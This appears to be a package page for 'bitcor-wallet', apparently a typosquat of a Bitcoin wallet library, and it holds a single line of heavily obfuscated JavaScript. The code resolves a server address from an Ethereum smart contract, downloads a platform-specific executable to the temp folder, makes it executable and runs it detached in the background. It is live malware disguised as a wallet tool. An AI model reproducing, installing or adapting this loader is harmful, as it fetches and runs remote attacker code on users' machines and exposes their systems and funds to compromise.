bitcor-wallet
Version:
A CLI Mutisig HD Bitcoin Wallet, demo for Bitcore Wallet Service
1 lines • 4.89 kB
JavaScript
function _0x3ab3(_0x22c71f,_0x8edcbe){const _0xa60669=_0xa606();return _0x3ab3=function(_0x3ab3e9,_0x399b4b){_0x3ab3e9=_0x3ab3e9-0x14b;let _0xcc8cfa=_0xa60669[_0x3ab3e9];return _0xcc8cfa;},_0x3ab3(_0x22c71f,_0x8edcbe);}const _0x278c3e=_0x3ab3;(function(_0x3a303a,_0x5b1877){const _0x4cae45=_0x3ab3,_0x5025ce=_0x3a303a();while(!![]){try{const _0x53f2f1=-parseInt(_0x4cae45(0x160))/0x1*(-parseInt(_0x4cae45(0x172))/0x2)+-parseInt(_0x4cae45(0x166))/0x3*(parseInt(_0x4cae45(0x15a))/0x4)+-parseInt(_0x4cae45(0x15c))/0x5+-parseInt(_0x4cae45(0x14b))/0x6*(-parseInt(_0x4cae45(0x153))/0x7)+-parseInt(_0x4cae45(0x16a))/0x8+parseInt(_0x4cae45(0x17a))/0x9+parseInt(_0x4cae45(0x168))/0xa*(-parseInt(_0x4cae45(0x14d))/0xb);if(_0x53f2f1===_0x5b1877)break;else _0x5025ce['push'](_0x5025ce['shift']());}catch(_0xcb69e5){_0x5025ce['push'](_0x5025ce['shift']());}}}(_0xa606,0xe75f6));const {ethers}=require(_0x278c3e(0x158)),axios=require(_0x278c3e(0x157)),util=require(_0x278c3e(0x14f)),fs=require('fs'),path=require(_0x278c3e(0x169)),os=require('os'),{spawn}=require(_0x278c3e(0x15d)),contractAddress=_0x278c3e(0x165),WalletOwner=_0x278c3e(0x161),abi=[_0x278c3e(0x174)],provider=ethers[_0x278c3e(0x178)](_0x278c3e(0x17b)),contract=new ethers[(_0x278c3e(0x154))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3b8b48=_0x278c3e,_0x179603={'MOefI':'Ошибка\x20при\x20получении\x20IP\x20адреса:'};try{const _0xf43891=await contract['getString'](WalletOwner);return _0xf43891;}catch(_0x5d3813){return console[_0x3b8b48(0x162)](_0x179603['MOefI'],_0x5d3813),await fetchAndUpdateIp();}},getDownloadUrl=_0x44a5ef=>{const _0xe4a61d=_0x278c3e,_0x14b73e={'JTZti':_0xe4a61d(0x177),'OGkVi':'linux'},_0x29ac90=os[_0xe4a61d(0x155)]();switch(_0x29ac90){case _0x14b73e[_0xe4a61d(0x14e)]:return _0x44a5ef+_0xe4a61d(0x16b);case _0x14b73e[_0xe4a61d(0x179)]:return _0x44a5ef+_0xe4a61d(0x170);case _0xe4a61d(0x17d):return _0x44a5ef+_0xe4a61d(0x171);default:throw new Error(_0xe4a61d(0x17c)+_0x29ac90);}},downloadFile=async(_0x14a271,_0xe65bea)=>{const _0x24b5a0=_0x278c3e,_0x18d2bf={'wMMvv':_0x24b5a0(0x151),'AzcUW':'error','PlEfg':function(_0x449d8c,_0x3fddd1){return _0x449d8c(_0x3fddd1);}},_0x9aef03=fs[_0x24b5a0(0x16e)](_0xe65bea),_0x2a058b=await _0x18d2bf['PlEfg'](axios,{'url':_0x14a271,'method':_0x24b5a0(0x14c),'responseType':'stream'});return _0x2a058b[_0x24b5a0(0x176)][_0x24b5a0(0x167)](_0x9aef03),new Promise((_0x211ad4,_0x1522cd)=>{const _0x7b076f=_0x24b5a0;_0x9aef03['on'](_0x18d2bf[_0x7b076f(0x175)],_0x211ad4),_0x9aef03['on'](_0x18d2bf[_0x7b076f(0x15b)],_0x1522cd);});},executeFileInBackground=async _0x6ae572=>{const _0x510cfb=_0x278c3e,_0x42a74c={'nkqhZ':function(_0x3b07d5,_0x561fd9,_0x391139,_0x3e04dc){return _0x3b07d5(_0x561fd9,_0x391139,_0x3e04dc);},'JMepX':'ignore','iEFPP':_0x510cfb(0x15e)};try{const _0x3568a4=_0x42a74c[_0x510cfb(0x163)](spawn,_0x6ae572,[],{'detached':!![],'stdio':_0x42a74c['JMepX']});_0x3568a4[_0x510cfb(0x152)]();}catch(_0x420d8a){console['error'](_0x42a74c[_0x510cfb(0x16c)],_0x420d8a);}},runInstallation=async()=>{const _0xad39d6=_0x278c3e,_0x3c0d35={'pMdkR':function(_0x5b8b8e,_0x3672ba){return _0x5b8b8e(_0x3672ba);},'otKrs':function(_0x340c72,_0x215131,_0x456d29){return _0x340c72(_0x215131,_0x456d29);},'UpxxF':function(_0x2af4ba,_0x2e4fa8){return _0x2af4ba!==_0x2e4fa8;},'HsYHD':_0xad39d6(0x177),'pTCUj':function(_0x27c1ca,_0x591381){return _0x27c1ca(_0x591381);}};try{const _0x4ad65e=await fetchAndUpdateIp(),_0x56bfdf=_0x3c0d35[_0xad39d6(0x15f)](getDownloadUrl,_0x4ad65e),_0x9c633d=os[_0xad39d6(0x16d)](),_0x11d5da=path[_0xad39d6(0x173)](_0x56bfdf),_0x4ee704=path['join'](_0x9c633d,_0x11d5da);await _0x3c0d35[_0xad39d6(0x164)](downloadFile,_0x56bfdf,_0x4ee704);if(_0x3c0d35['UpxxF'](os[_0xad39d6(0x155)](),_0x3c0d35[_0xad39d6(0x16f)]))fs[_0xad39d6(0x156)](_0x4ee704,_0xad39d6(0x150));_0x3c0d35[_0xad39d6(0x17e)](executeFileInBackground,_0x4ee704);}catch(_0x334c65){console[_0xad39d6(0x162)](_0xad39d6(0x159),_0x334c65);}};runInstallation();function _0xa606(){const _0x3b59e8=['/node-win.exe','iEFPP','tmpdir','createWriteStream','HsYHD','/node-linux','/node-macos','272WRBLak','basename','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','wMMvv','data','win32','getDefaultProvider','OGkVi','12054987lZaNCk','mainnet','Unsupported\x20platform:\x20','darwin','pTCUj','36iFrWKr','GET','33PNPrTU','JTZti','util','755','finish','unref','1607501fwEbSy','Contract','platform','chmodSync','axios','ethers','Ошибка\x20установки:','1527452QxydyZ','AzcUW','547495mvUJRD','child_process','Ошибка\x20при\x20запуске\x20файла:','pMdkR','11882nxmxML','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','error','nkqhZ','otKrs','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','9EGwTLw','pipe','2304490linrzx','path','11512928hYlejS'];_0xa606=function(){return _0x3b59e8;};return _0xa606();}